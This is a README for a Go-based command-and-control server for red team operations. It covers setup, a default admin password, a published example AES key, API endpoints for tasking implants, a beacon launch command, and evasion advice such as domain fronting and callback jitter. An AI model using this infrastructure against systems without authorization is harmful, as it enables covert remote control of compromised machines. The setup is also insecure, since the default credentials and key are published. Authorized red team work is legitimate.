🖤 BLACK OBSIDIAN C2

October 31, 2025 · View on GitHub

🖤 BLACK OBSIDIAN C2

Modern, realtime, minimalist Command & Control server built in Go with PocketBase

⬛ BLACK OBSIDIAN - Control Panel for Red Team Operations
   ├── Realtime Implant Management
   ├── AES-256 Encryption
   ├── Multi-Platform Support
   └── Modern Web Dashboard

📋 Description

Black Obsidian is a next-generation C2 (Command & Control) server designed for professional Red Team operations. Built with Go and PocketBase, it offers a modern and specialized alternative to complex C2 servers while maintaining agility, security, and customization ease.

Part of the LazyOwn ecosystem, Black Obsidian integrates seamlessly with implants such as:

Black Basalt Beacon (Windows)

Black Sand Beacon (Linux ELF)

Black Serpentine (Python)

Maleable Implant (Go Multi-Platform)

✨ Key Features

✅ HTTPS/TLS Server with self-signed certificates
✅ AES-256 Encryption for all communications
✅ Realtime Management of connected implants
✅ Modern Web Dashboard with dark hacker theme
✅ Integrated Database (PocketBase SQLite)
✅ Automatic CSV Logs per client
✅ Pending Commands with execution status
✅ Multi-Implant parallel support
✅ Fully Functional REST API
✅ Scalable and customizable architecture

🛠️ Requirements

Go 1.20+

OpenSSL (for certificate generation)
Linux/macOS/Windows with Go support
Port 4444 available (or customizable)

Go Dependencies

go get github.com/pocketbase/pocketbase

📦 Installation

Clone Repository

git clone https://github.com/grisuno/BlackObsidianC2.git
cd BlackObsidianC2

Generate SSL Certificates

# Generate private key
openssl genpkey -algorithm RSA -out key.pem -pkeyopt rsa_keygen_bits:2048

# Generate self-signed certificate
openssl req -new -x509 -key key.pem -out cert.pem -days 365 \
  -subj "/C=CL/ST=Hack/L=World/O=C2/CN=127.0.0.1"

# Convert to PKCS#8 (required by Go)
openssl pkcs8 -topk8 -nocrypt -in key.pem -out key_go.pem

Compile

go build -o c2-server

export TLS_CERT=./cert.pem
export TLS_KEY=./key_go.pem
export C2_AES_KEY=18547a9428b62fdf2ba11cebc786bccbca8a941748d3acf4aad100ac65d0477f

./c2-server serve --https=0.0.0.0:4444

🚀 Quick Start

Access Dashboard

https://127.0.0.1:4444/dashboard.html

Create Admin User

./c2-server superuser create LazyOwn@local.local LazyOwn

Password: LazyOwn

📡 API Endpoints

Endpoint Method Description

/login POST Authenticate user
/get_connected_clients GET List active implants
/pleasesubscribe/v1/users/{client_id} GET Fetch pending commands
/pleasesubscribe/v1/users/{client_id} POST Submit command results
/issue_command POST Issue command to implant

🔐 Security Features

Encryption All communications use AES-256-GCM encryption:

// Example encryption in handlers
encryptedData, err := AESEncrypt([]byte(sensitiveData))

TLS Configuration

TLS 1.2 - 1.3

Strong cipher suites only

Certificate pinning support

Authentication

Basic auth for initial login

Session tokens with expiration

Superuser role management

📊 Project Structure

black-obsidian/
├── main.go              # Entry point
├── handlers.go          # API handlers
├── crypto.go            # AES encryption functions
├── schemas.go           # Database schemas
├── web/                 # Web dashboard
│   ├── dashboard.html
│   ├── css/
│   ├── js/
│   └── img/
├── pb_data/             # PocketBase database
├── sessions/            # Client logs (CSV)
├── go.mod
├── go.sum
└── README.md

🔧 Configuration

Environment Variables

TLS_CERT           # Path to SSL certificate
TLS_KEY            # Path to SSL private key
C2_AES_KEY         # AES encryption key (64 hex chars)
POCKETBASE_DIR     # Database location (default: ./pb_data)

Encryption Key Generation

# Generate random 256-bit AES key
openssl rand -hex 32
# Output: 18547a9428b62fdf2ba11cebc786bccbca8a941748d3acf4aad100ac65d0477f

📝 Usage Examples

Issue Command

python3  app.py

or manual

curl -k -X POST https://127.0.0.1:4444/issue_command \
  -d "client_id=linux_go&command=whoami" \
  -H "Authorization: Bearer YOUR_TOKEN"

Get Connected Clients

curl -k -X GET https://127.0.0.1:4444/get_connected_clients \
  -H "Authorization: Bearer YOUR_TOKEN"

📚 Integration with LazyOwn Ecosystem

Black Obsidian is designed to work with LazyOwn implants:

# Example: Black Sand Beacon (Linux)
./black-sand-beacon \
  --c2=https://127.0.0.1:4444 \
  --client-id=linux_go \
  --aes-key=18547a9428b62fdf2ba11cebc786bccbca8a941748d3acf4aad100ac65d0477f

🛡️ OPSEC Recommendations

Use VPN/Proxy for C2 infrastructure

Rotate AES keys periodically

Enable firewall rules to restrict access

Use domain fronting for HTTPS traffic

Implement jitter in beacon callbacks

Monitor logs for anomalies

🤝 Contributing

Contributions welcome! Please:

Fork the repository

Create feature branch (git checkout -b feature/AmazingFeature)

Commit changes (git commit -m 'Add AmazingFeature')

Push branch (git push origin feature/AmazingFeature)

Open Pull Request

⚖️ Legal Disclaimer

Black Obsidian is designed for authorized penetration testing and red team operations only. Unauthorized access to computer systems is illegal. Ensure you have explicit written authorization before conducting any offensive security activities.